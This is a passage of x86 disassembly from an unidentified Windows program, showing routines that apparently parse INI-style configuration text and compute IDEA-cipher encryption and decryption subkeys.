movzx eax, [ebp+var_C]
test eax, eax
jnz short loc_501C90
cmp [ebp+var_28], 0
jz short loc_501C7C
cmp [ebp+var_8], 0
jz short loc_501C63
mov eax, [ebp+var_8]
mov [ebp+var_2C], eax
jmp short loc_501C72
; ---------------------------------------------------------------------------
loc_501C63: ; CODE XREF: sub_501AE2+177j
push 0
push [ebp+var_24]
call sub_5092CA
pop ecx
pop ecx
mov [ebp+var_2C], eax
loc_501C72: ; CODE XREF: sub_501AE2+17Fj
mov eax, [ebp+var_28]
mov ecx, [ebp+var_2C]
mov [eax], ecx
jmp short loc_501C8B
; ---------------------------------------------------------------------------
loc_501C7C: ; CODE XREF: sub_501AE2+171j
mov eax, [ebp+var_8]
mov [ebp+var_1C], eax
push [ebp+var_1C]
call sub_5083DD
pop ecx
loc_501C8B: ; CODE XREF: sub_501AE2+198j
mov eax, [ebp+var_4]
jmp short loc_501CA1
; ---------------------------------------------------------------------------
loc_501C90: ; CODE XREF: sub_501AE2+163j
; sub_501AE2+16Bj
mov eax, [ebp+var_8]
mov [ebp+var_20], eax
push [ebp+var_20]
call sub_5083DD
pop ecx
xor eax, eax
loc_501CA1: ; CODE XREF: sub_501AE2+1ACj
pop edi
pop esi
pop ebx
leave
retn 4
sub_501AE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501CA8 proc near ; CODE XREF: sub_50A7AF+Ap
; sub_50A7DD+78p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
mov [ebp+var_8], edx
mov [ebp+var_4], ecx
push 0
push [ebp+var_8]
push 0
push [ebp+var_4]
call sub_50153F
leave
retn
sub_501CA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501CC4 proc near ; CODE XREF: sub_50AC66+2Bp
; sub_50AD0C+42p ...
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = byte ptr 20h
; FUNCTION CHUNK AT 005021B6 SIZE 00000012 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E3F8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 64h
push ebx
push esi
push edi
and [ebp+var_34], 0
and [ebp+var_28], 0
and [ebp+var_38], 0
and [ebp+var_20], 0
and [ebp+var_30], 0
and [ebp+var_3C], 0
and [ebp+var_24], 0
and [ebp+var_48], 0
and [ebp+var_40], 0
and [ebp+var_44], 0
and [ebp+var_4], 0
mov ecx, [ebp+arg_10]
xor eax, eax
mov edi, [ebp+arg_C]
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
push 0
lea eax, [ebp+var_2C]
push eax
push 0
push 0
push [ebp+arg_14]
call sub_500346
lea eax, [ebp+var_28]
push eax
push [ebp+var_2C]
call sub_500672
mov eax, [ebp+var_28]
inc eax
push eax
call sub_50835A
pop ecx
mov [ebp+var_64], eax
mov eax, [ebp+var_64]
mov [ebp+var_34], eax
mov ecx, [ebp+var_28]
inc ecx
xor eax, eax
mov edi, [ebp+var_34]
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov eax, [ebp+var_28]
mov ecx, [ebp+var_34]
lea eax, [ecx+eax+1]
mov [ebp+var_20], eax
mov eax, [ebp+var_34]
mov [ebp+var_38], eax
lea eax, [ebp+var_1C]
push eax
push 0
push 0
push [ebp+var_28]
push [ebp+var_34]
push [ebp+var_2C]
call sub_501177
mov eax, [ebp+var_20]
mov byte ptr [eax-1], 0Ah
jmp short loc_501DAD
; ---------------------------------------------------------------------------
loc_501DA6: ; CODE XREF: sub_501CC4:loc_502184j
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_38], eax
loc_501DAD: ; CODE XREF: sub_501CC4+E0j
mov eax, [ebp+var_38]
cmp eax, [ebp+var_20]
jz loc_502189
loc_501DB9: ; CODE XREF: sub_501CC4+486j
; sub_501CC4+4BBj
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 3Bh
jnz short loc_501DF8
loc_501DC4: ; CODE XREF: sub_501CC4+125j
mov eax, [ebp+var_38]
cmp eax, [ebp+var_20]
jz short loc_501DEB
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_501DEB
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Dh
jz short loc_501DEB
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_38], eax
jmp short loc_501DC4
; ---------------------------------------------------------------------------
loc_501DEB: ; CODE XREF: sub_501CC4+106j
; sub_501CC4+111j ...
mov eax, [ebp+var_38]
cmp eax, [ebp+var_20]
jnz short loc_501DF8
jmp loc_502189
; ---------------------------------------------------------------------------
loc_501DF8: ; CODE XREF: sub_501CC4+FEj
; sub_501CC4+12Dj
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 5Bh
jnz short loc_501E16
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_30], eax
mov [ebp+var_24], 1
jmp loc_502184
; ---------------------------------------------------------------------------
loc_501E16: ; CODE XREF: sub_501CC4+13Dj
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 5Dh
jnz loc_501EBF
loc_501E25: ; CODE XREF: sub_501CC4+217j
mov eax, [ebp+var_38]
and byte ptr [eax], 0
cmp [ebp+var_24], 1
jnz loc_501EBA
and [ebp+var_24], 0
cmp [ebp+arg_0], 0
jnz short loc_501EA0
mov eax, [ebp+var_44]
mov [ebp+var_4C], eax
mov edi, [ebp+var_30]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_54], ecx
mov eax, [ebp+arg_10]
dec eax
dec eax
sub eax, [ebp+var_4C]
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jle short loc_501E9E
push [ebp+var_50]
push [ebp+var_30]
mov eax, [ebp+arg_C]
add eax, [ebp+var_4C]
push eax
call sub_4FC770
add esp, 0Ch
mov eax, [ebp+var_50]
cmp eax, [ebp+var_54]
jle short loc_501E8B
mov eax, [ebp+var_54]
mov [ebp+var_74], eax
jmp short loc_501E91
; ---------------------------------------------------------------------------
loc_501E8B: ; CODE XREF: sub_501CC4+1BDj
mov eax, [ebp+var_50]
mov [ebp+var_74], eax
loc_501E91: ; CODE XREF: sub_501CC4+1C5j
mov eax, [ebp+var_74]
mov ecx, [ebp+var_4C]
lea eax, [ecx+eax+1]
mov [ebp+var_44], eax
loc_501E9E: ; CODE XREF: sub_501CC4+1A0j
jmp short loc_501EBA
; ---------------------------------------------------------------------------
loc_501EA0: ; CODE XREF: sub_501CC4+179j
push [ebp+var_30]
push [ebp+arg_0]
call ds:dword_5117C0 ; lstrcmpi
test eax, eax
jnz short loc_501EB6
mov [ebp+var_48], 1
jmp short loc_501EBA
; ---------------------------------------------------------------------------
loc_501EB6: ; CODE XREF: sub_501CC4+1EAj
and [ebp+var_48], 0
loc_501EBA: ; CODE XREF: sub_501CC4+16Bj
; sub_501CC4:loc_501E9Ej ...
jmp loc_502184
; ---------------------------------------------------------------------------
loc_501EBF: ; CODE XREF: sub_501CC4+15Bj
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_501ED5
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Dh
jnz short loc_501EEC
loc_501ED5: ; CODE XREF: sub_501CC4+204j
cmp [ebp+var_24], 1
jnz short loc_501EE0
jmp loc_501E25
; ---------------------------------------------------------------------------
loc_501EE0: ; CODE XREF: sub_501CC4+215j
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_3C], eax
jmp loc_502184
; ---------------------------------------------------------------------------
loc_501EEC: ; CODE XREF: sub_501CC4+20Fj
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 3Dh
jnz loc_502184
cmp [ebp+arg_0], 0
jz loc_502151
mov eax, [ebp+var_38]
mov byte ptr [eax], 20h
loc_501F0B: ; CODE XREF: sub_501CC4+266j
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax-1]
cmp eax, 9
jz short loc_501F23
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax-1]
cmp eax, 20h
jnz short loc_501F2C
loc_501F23: ; CODE XREF: sub_501CC4+251j
mov eax, [ebp+var_38]
dec eax
mov [ebp+var_38], eax
jmp short loc_501F0B
; ---------------------------------------------------------------------------
loc_501F2C: ; CODE XREF: sub_501CC4+25Dj
mov eax, [ebp+var_38]
and byte ptr [eax], 0
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_38], eax
loc_501F39: ; CODE XREF: sub_501CC4+292j
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 9
jz short loc_501F4F
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_501F58
loc_501F4F: ; CODE XREF: sub_501CC4+27Ej
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_38], eax
jmp short loc_501F39
; ---------------------------------------------------------------------------
loc_501F58: ; CODE XREF: sub_501CC4+289j
cmp [ebp+arg_4], 0
jnz loc_5020A1
movzx eax, [ebp+var_48]
test eax, eax
jz loc_50209C
mov eax, [ebp+var_44]
mov [ebp+var_58], eax
mov edi, [ebp+var_3C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_60], ecx
mov eax, [ebp+arg_10]
dec eax
dec eax
sub eax, [ebp+var_58]
mov [ebp+var_6C], eax
mov eax, [ebp+var_6C]
cmp eax, [ebp+var_60]
jge short loc_501F9F
mov eax, [ebp+var_6C]
mov [ebp+var_78], eax
jmp short loc_501FA5
; ---------------------------------------------------------------------------
loc_501F9F: ; CODE XREF: sub_501CC4+2D1j
mov eax, [ebp+var_60]
mov [ebp+var_78], eax
loc_501FA5: ; CODE XREF: sub_501CC4+2D9j
mov eax, [ebp+var_78]
mov [ebp+var_5C], eax
cmp [ebp+var_5C], 0
jle short loc_501FD4
mov ecx, [ebp+var_5C]
mov esi, [ebp+var_3C]
mov edi, [ebp+arg_C]
add edi, [ebp+var_58]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+var_58]
add eax, [ebp+var_5C]
mov [ebp+var_58], eax
loc_501FD4: ; CODE XREF: sub_501CC4+2EBj
mov eax, [ebp+var_38]
mov [ebp+var_3C], eax
loc_501FDA: ; CODE XREF: sub_501CC4+33Cj
mov eax, [ebp+var_20]
dec eax
cmp [ebp+var_38], eax
jz short loc_502002
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Dh
jz short loc_502002
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_502002
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_38], eax
jmp short loc_501FDA
; ---------------------------------------------------------------------------
loc_502002: ; CODE XREF: sub_501CC4+31Dj
; sub_501CC4+328j ...
movzx eax, [ebp+arg_18]
test eax, eax
jz loc_50208E
mov eax, [ebp+arg_10]
dec eax
dec eax
cmp [ebp+var_58], eax
jnb short loc_502028
mov eax, [ebp+arg_C]
add eax, [ebp+var_58]
mov byte ptr [eax], 3Dh
mov eax, [ebp+var_58]
inc eax
mov [ebp+var_58], eax
loc_502028: ; CODE XREF: sub_501CC4+352j
mov eax, [ebp+var_38]
and byte ptr [eax], 0
mov edi, [ebp+var_3C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_60], ecx
mov eax, [ebp+arg_10]
dec eax
dec eax
sub eax, [ebp+var_58]
mov [ebp+var_70], eax
mov eax, [ebp+var_70]
cmp eax, [ebp+var_60]
jge short loc_502059
mov eax, [ebp+var_70]
mov [ebp+var_7C], eax
jmp short loc_50205F
; ---------------------------------------------------------------------------
loc_502059: ; CODE XREF: sub_501CC4+38Bj
mov eax, [ebp+var_60]
mov [ebp+var_7C], eax
loc_50205F: ; CODE XREF: sub_501CC4+393j
mov eax, [ebp+var_7C]
mov [ebp+var_5C], eax
cmp [ebp+var_5C], 0
jle short loc_50208E
mov ecx, [ebp+var_5C]
mov esi, [ebp+var_3C]
mov edi, [ebp+arg_C]
add edi, [ebp+var_58]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+var_58]
add eax, [ebp+var_5C]
mov [ebp+var_58], eax
loc_50208E: ; CODE XREF: sub_501CC4+344j
; sub_501CC4+3A5j
mov eax, [ebp+var_58]
inc eax
mov [ebp+var_44], eax
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_3C], eax
loc_50209C: ; CODE XREF: sub_501CC4+2A4j
jmp loc_50214F
; ---------------------------------------------------------------------------
loc_5020A1: ; CODE XREF: sub_501CC4+298j
push [ebp+var_3C]
push [ebp+arg_4]
call ds:dword_5117C0 ; lstrcmpi
test eax, eax
jnz short loc_50211C
movzx eax, [ebp+var_48]
test eax, eax
jz short loc_50211C
mov eax, [ebp+var_38]
mov [ebp+var_3C], eax
loc_5020BF: ; CODE XREF: sub_501CC4+421j
mov eax, [ebp+var_20]
dec eax
cmp [ebp+var_38], eax
jz short loc_5020E7
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Dh
jz short loc_5020E7
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_5020E7
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_38], eax
jmp short loc_5020BF
; ---------------------------------------------------------------------------
loc_5020E7: ; CODE XREF: sub_501CC4+402j
; sub_501CC4+40Dj ...
mov eax, [ebp+var_38]
and byte ptr [eax], 0
mov eax, [ebp+arg_10]
dec eax
push eax
push [ebp+var_3C]
push [ebp+arg_C]
call sub_4FC770
add esp, 0Ch
mov eax, [ebp+arg_C]
add eax, [ebp+arg_10]
and byte ptr [eax-1], 0
mov edi, [ebp+arg_C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_44], ecx
jmp short loc_502189
; ---------------------------------------------------------------------------
loc_50211C: ; CODE XREF: sub_501CC4+3EBj
; sub_501CC4+3F3j ...
mov eax, [ebp+var_20]
dec eax
cmp [ebp+var_38], eax
jz short loc_502144
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Dh
jz short loc_502144
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_502144
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_38], eax
jmp short loc_50211C
; ---------------------------------------------------------------------------
loc_502144: ; CODE XREF: sub_501CC4+45Fj
; sub_501CC4+46Aj ...
mov eax, [ebp+var_38]
mov [ebp+var_3C], eax
jmp loc_501DB9
; ---------------------------------------------------------------------------
loc_50214F: ; CODE XREF: sub_501CC4:loc_50209Cj
jmp short loc_502184
; ---------------------------------------------------------------------------
loc_502151: ; CODE XREF: sub_501CC4+23Bj
; sub_501CC4+4B3j
mov eax, [ebp+var_20]
dec eax
cmp [ebp+var_38], eax
jz short loc_502179
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Dh
jz short loc_502179
mov eax, [ebp+var_38]
movzx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_502179
mov eax, [ebp+var_38]
inc eax
mov [ebp+var_38], eax
jmp short loc_502151
; ---------------------------------------------------------------------------
loc_502179: ; CODE XREF: sub_501CC4+494j
; sub_501CC4+49Fj ...
mov eax, [ebp+var_38]
mov [ebp+var_3C], eax
jmp loc_501DB9
; ---------------------------------------------------------------------------
loc_502184: ; CODE XREF: sub_501CC4+14Dj
; sub_501CC4:loc_501EBAj ...
jmp loc_501DA6
; ---------------------------------------------------------------------------
loc_502189: ; CODE XREF: sub_501CC4+EFj
; sub_501CC4+12Fj ...
or [ebp+var_4], 0FFFFFFFFh
call sub_502194
jmp short loc_5021B6
sub_501CC4 endp
; =============== S U B R O U T I N E =======================================
sub_502194 proc near ; CODE XREF: sub_501CC4+4C9p
; DATA XREF: _6:0050E400o
mov eax, [ebp-34h]
mov [ebp-68h], eax
push dword ptr [ebp-68h]
call sub_5083DD
pop ecx
cmp dword ptr [ebp-2Ch], 0FFFFFFFFh
jz short locret_5021B5
lea eax, [ebp-1Ch]
push eax
push dword ptr [ebp-2Ch]
call sub_500741
locret_5021B5: ; CODE XREF: sub_502194+13j
retn
sub_502194 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_501CC4
loc_5021B6: ; CODE XREF: sub_501CC4+4CEj
mov eax, [ebp+var_44]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_501CC4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
push dword ptr [ebp-4]
push dword ptr [ebp+8]
mov ecx, [ebp-4]
call sub_5021F3
mov eax, [ebp-4]
add eax, 68h
push eax
push dword ptr [ebp-4]
mov ecx, [ebp-4]
call sub_50229B
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5021F3 proc near ; CODE XREF: _5:005021D8p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
and [ebp+var_8], 0
jmp short loc_502209
; ---------------------------------------------------------------------------
loc_502202: ; CODE XREF: sub_5021F3+40j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_502209: ; CODE XREF: sub_5021F3+Dj
cmp [ebp+var_8], 8
jge short loc_502235
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax]
shl eax, 8
mov ecx, [ebp+arg_0]
movzx ecx, byte ptr [ecx+1]
add eax, ecx
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
mov [edx+ecx*2], ax
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
jmp short loc_502202
; ---------------------------------------------------------------------------
loc_502235: ; CODE XREF: sub_5021F3+1Aj
and [ebp+var_4], 0
jmp short loc_502242
; ---------------------------------------------------------------------------
loc_50223B: ; CODE XREF: sub_5021F3+A2j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_502242: ; CODE XREF: sub_5021F3+46j
cmp [ebp+var_8], 34h
jge short locret_502297
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and eax, 7
mov ecx, [ebp+arg_4]
movzx eax, word ptr [ecx+eax*2]
shl eax, 9
mov ecx, [ebp+var_4]
inc ecx
and ecx, 7
mov edx, [ebp+arg_4]
movzx ecx, word ptr [edx+ecx*2]
sar ecx, 7
or eax, ecx
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov [edx+ecx*2+0Eh], ax
mov eax, [ebp+var_4]
and eax, 8
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax*2]
mov [ebp+arg_4], eax
mov eax, [ebp+var_4]
and eax, 7
mov [ebp+var_4], eax
jmp short loc_50223B
; ---------------------------------------------------------------------------
locret_502297: ; CODE XREF: sub_5021F3+53j
leave
retn 8
sub_5021F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50229B proc near ; CODE XREF: _5:005021EAp
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = word ptr -7Ch
var_78 = dword ptr -78h
var_74 = word ptr -74h
var_70 = word ptr -70h
var_6C = word ptr -6Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push esi
push edi
mov [ebp+var_80], ecx
lea eax, [ebp+var_4]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov ax, [eax]
mov word ptr [ebp+var_84], ax
push [ebp+var_84]
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov ecx, [ebp+var_80]
call sub_50259C
mov [ebp+var_70], ax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
neg eax
mov [ebp+var_74], ax
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
neg eax
mov [ebp+var_7C], ax
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
mov ax, [eax]
mov word ptr [ebp+var_88], ax
push [ebp+var_88]
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov ecx, [ebp+var_80]
call sub_50259C
mov ecx, [ebp+var_4]
dec ecx
dec ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
mov [ecx], ax
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_7C]
mov [eax], cx
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_74]
mov [eax], cx
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_70]
mov [eax], cx
and [ebp+var_78], 0
jmp short loc_502372
; ---------------------------------------------------------------------------
loc_50236B: ; CODE XREF: sub_50229B+1D7j
mov eax, [ebp+var_78]
inc eax
mov [ebp+var_78], eax
loc_502372: ; CODE XREF: sub_50229B+CEj
cmp [ebp+var_78], 7
jge loc_502477
mov eax, [ebp+arg_0]
mov ax, [eax]
mov [ebp+var_70], ax
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov cx, [ecx]
mov [eax], cx
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_70]
mov [eax], cx
mov eax, [ebp+arg_0]
mov ax, [eax]
mov word ptr [ebp+var_8C], ax
push [ebp+var_8C]
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov ecx, [ebp+var_80]
call sub_50259C
mov [ebp+var_70], ax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
neg eax
mov [ebp+var_74], ax
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
neg eax
mov [ebp+var_7C], ax
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
mov ax, [eax]
mov word ptr [ebp+var_90], ax
push [ebp+var_90]
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov ecx, [ebp+var_80]
call sub_50259C
mov ecx, [ebp+var_4]
dec ecx
dec ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
mov [ecx], ax
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_74]
mov [eax], cx
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_7C]
mov [eax], cx
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_70]
mov [eax], cx
jmp loc_50236B
; ---------------------------------------------------------------------------
loc_502477: ; CODE XREF: sub_50229B+DBj
mov eax, [ebp+arg_0]
mov ax, [eax]
mov [ebp+var_70], ax
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov cx, [ecx]
mov [eax], cx
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_70]
mov [eax], cx
mov eax, [ebp+arg_0]
mov ax, [eax]
mov word ptr [ebp+var_94], ax
push [ebp+var_94]
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov ecx, [ebp+var_80]
call sub_50259C
mov [ebp+var_70], ax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
neg eax
mov [ebp+var_74], ax
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
neg eax
mov [ebp+var_7C], ax
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
mov ax, [eax]
mov word ptr [ebp+var_98], ax
push [ebp+var_98]
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov ecx, [ebp+var_80]
call sub_50259C
mov ecx, [ebp+var_4]
dec ecx
dec ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
mov [ecx], ax
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_7C]
mov [eax], cx
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_74]
mov [eax], cx
mov eax, [ebp+var_4]
dec eax
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov cx, [ebp+var_70]
mov [eax], cx
push 1Ah
pop ecx
lea esi, [ebp+var_6C]
mov edi, [ebp+arg_4]
rep movsd
and [ebp+var_78], 0
jmp short loc_502585
; ---------------------------------------------------------------------------
loc_50257E: ; CODE XREF: sub_50229B+2F9j
mov eax, [ebp+var_78]
inc eax
mov [ebp+var_78], eax
loc_502585: ; CODE XREF: sub_50229B+2E1j
cmp [ebp+var_78], 34h
jge short loc_502596
mov eax, [ebp+var_78]
and [ebp+eax*2+var_6C], 0
jmp short loc_50257E
; ---------------------------------------------------------------------------
loc_502596: ; CODE XREF: sub_50229B+2EEj
pop edi
pop esi
leave
retn 8
sub_50229B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50259C proc near ; CODE XREF: sub_50229B+32p
; sub_50229B+81p ...
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_C = word ptr -0Ch
var_8 = word ptr -8
var_4 = word ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_14], ecx
movzx eax, [ebp+arg_0]
cmp eax, 1
jg short loc_5025B7
mov ax, [ebp+arg_0]
jmp locret_50268F
; ---------------------------------------------------------------------------
loc_5025B7: ; CODE XREF: sub_50259C+10j
movzx ecx, [ebp+arg_0]
mov eax, 10001h
cdq
idiv ecx
mov [ebp+var_C], ax
movzx ecx, [ebp+arg_0]
mov eax, 10001h
cdq
idiv ecx
mov [ebp+var_10], dx
movzx eax, [ebp+var_10]
cmp eax, 1
jnz short loc_5025F7
movzx eax, [ebp+var_C]
push 1
pop ecx
sub ecx, eax
and ecx, 0FFFFh
mov ax, cx
jmp locret_50268F
; ---------------------------------------------------------------------------
loc_5025F7: ; CODE XREF: sub_50259C+42j
mov [ebp+var_8], 1
loc_5025FD: ; CODE XREF: sub_50259C+DFj
movzx eax, [ebp+arg_0]
movzx ecx, [ebp+var_10]
cdq
idiv ecx
mov [ebp+var_4], ax
movzx eax, [ebp+arg_0]
movzx ecx, [ebp+var_10]
cdq
idiv ecx
mov [ebp+arg_0], dx
movzx eax, [ebp+var_4]
movzx ecx, [ebp+var_C]
imul eax, ecx
mov cx, [ebp+var_8]
add cx, ax
mov [ebp+var_8], cx
movzx eax, [ebp+arg_0]
cmp eax, 1
jnz short loc_502640
mov ax, [ebp+var_8]
jmp short locret_50268F
; ---------------------------------------------------------------------------
loc_502640: ; CODE XREF: sub_50259C+9Cj
movzx eax, [ebp+var_10]
movzx ecx, [ebp+arg_0]
cdq
idiv ecx
mov [ebp+var_4], ax
movzx eax, [ebp+var_10]
movzx ecx, [ebp+arg_0]
cdq
idiv ecx
mov [ebp+var_10], dx
movzx eax, [ebp+var_4]
movzx ecx, [ebp+var_8]
imul eax, ecx
mov cx, [ebp+var_C]
add cx, ax
mov [ebp+var_C], cx
